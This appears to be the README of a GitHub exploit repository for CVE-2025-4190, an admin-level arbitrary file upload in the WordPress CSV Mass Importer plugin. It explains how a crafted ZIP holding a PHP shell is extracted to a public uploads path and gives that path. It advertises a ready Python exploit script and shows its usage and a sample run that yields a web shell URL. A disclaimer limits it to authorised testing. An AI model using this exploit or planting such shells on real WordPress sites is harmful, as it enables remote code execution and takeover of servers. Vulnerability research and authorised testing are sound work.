nxploited/cve-2025-4190CSV Mass Importer <= 1.2 - Admin+ Arbitrary File Upload
The CSV Mass Importer plugin (≤ 1.2) for WordPress contains an Admin+ Arbitrary File Upload vulnerability.
Due to improper validation of uploaded files, high-privilege users (such as admin) can upload arbitrary files on the server, even when this should be restricted — for example in multisite setups.
This vulnerability allows an attacker to upload PHP shells or malicious files, leading to remote code execution (RCE) on the server.
Discovered by Nxploited (Khaled Alenazi).
The plugin fails to properly check uploaded files when using the CSV import feature.
A crafted ZIP file containing a PHP shell can be uploaded and extracted to a publicly accessible directory.
Shell Path Example:
-purple){kind=icon}
<target-url>/wp-content/uploads/cmi-data/nxploited.php
This repository contains a ready Python exploit script: 4190.py
python CVE-2025-4190.py --help
usage: 4190.py [-h] --url URL --username USERNAME --password PASSWORD
WordPress CSV Mass Importer <= 1.2 - Admin+ Arbitrary File Upload # By Nxploited (Khaled Alenazi)
options:
-h, --help show this help message and exit
--url, -u URL Target WordPress site URL
--username, -un USERNAME
WordPress admin username
--password, -p PASSWORD
WordPress admin password
python CVE-2025-4190.py -u http://192.168.100.74:888/wordpress -un admin -p admin
[+] Logged in successfully.
[+] Payload 'nxploited.zip' created successfully.
[+] Payload uploaded successfully.
[+] Shell URL: http://192.168.100.74:888/wordpress/wp-content/uploads/cmi-data/nxploited.php
Exploited By Nxploited (Khaled_alenazi)
This code is provided for educational purposes only.
The author is not responsible for any misuse or damage caused by this script.
Use responsibly and only on systems you are authorized to test.
Discovered and developed by Khaled Alenazi (Nxploited) 🌟